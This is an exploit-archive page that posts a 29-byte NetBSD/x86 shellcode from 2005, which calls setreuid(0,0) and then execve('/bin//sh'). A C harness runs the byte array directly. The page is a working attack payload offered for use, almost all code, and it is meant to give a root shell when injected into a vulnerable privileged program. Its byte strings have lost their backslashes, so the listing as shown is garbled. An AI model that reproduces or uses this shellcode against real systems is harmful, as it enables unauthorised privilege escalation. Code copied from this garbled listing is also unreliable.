[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 29 bytes
# Published : 2005-11-30
# Author : p. minervini
# Previous Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 30 bytes
# Next Title : sco/x86 execve("/bin/sh", ..., NULL); 43 bytes


/*
 *  minervini at neuralnoise dot com (c) 2005
 *  NetBSD/i386 2.0, setreuid(0, 0); execve("/bin//sh", ..., NULL);
 *  note: unsafe shellcode, but 29 bytes long;
 *  	  doesn't work if (eax & 0x40000000) != 0;
 */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
  "x99"                   // cltd   
  "x52"                   // push   %edx
  "x52"                   // push   %edx
  "x52"                   // push   %edx
  "x6ax7e"               // push   $0x7e
  "x58"                   // pop    %eax
  "xcdx80"               // int    $0x80
  "x68x2fx2fx73x68"   // push   $0x68732f2f
  "x68x2fx62x69x6e"   // push   $0x6e69622f
  "x89xe3"               // mov    %esp,%ebx
  "x52"                   // push   %edx
  "x54"                   // push   %esp
  "x53"                   // push   %ebx
  "x52"                   // push   %edx
  "x34x3b"               // xor    $0x3b,%al
  "xcdx80";              // int    $0x80

int main() {
   void (*code) () = (void *) scode;
   printf("length: %dn", strlen(scode));
   code();
   return (0);
}

// www.Syue.com [2005-11-30]